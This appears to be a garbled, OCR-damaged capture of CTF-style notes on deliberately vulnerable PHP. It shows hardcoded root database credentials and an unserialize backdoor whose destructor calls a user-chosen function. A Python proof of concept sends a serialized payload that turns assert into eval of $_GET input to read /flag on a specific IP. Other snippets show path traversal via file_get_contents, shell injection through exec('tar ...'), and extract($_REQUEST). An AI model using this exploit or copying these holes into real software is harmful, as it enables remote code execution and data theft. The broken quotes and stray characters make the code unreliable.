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private static $host="127.0.0.1";

private static $user="root";

private static $pwd="root";

private static $db="mail";
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1 Fsqlhelper.php3c

if (isset($_POST['un") && isset($_GET['X])X

class A{

public $name;

public $male;

function __ destruct(}

$a = $this->name;

$a($this->male);

}

}

unserialize($_POST['un);

}
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import requests,re

#url = "http://39.100.119.37:1%s80/sqlhelper.php?x=system('cat+/flag');"

def poc(url):

data = {"un"'O:1:"A":2:{s:4:"name";s:6:"assert";s:4:"male";s:16:"eval($_GET["X")";}'}
flag = requests.post(url,data=data).text

flag = re.compile(‘'flag{.+7}').findall(flag)[0]

return flag
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$file = $_GET[img";

$img = file_get_contents('images/icon/'.$file);

11458 PR L Sk e 0

header("Content-Type: image/jpeg;text/html; charset=utf-8");
echo $img;

exit;
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if (isset($_POST['name']){

$name = $§_POST['name;

exec("tar -cf backup/$name images/*.jpg");

echo "
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extract($_REQUEST);
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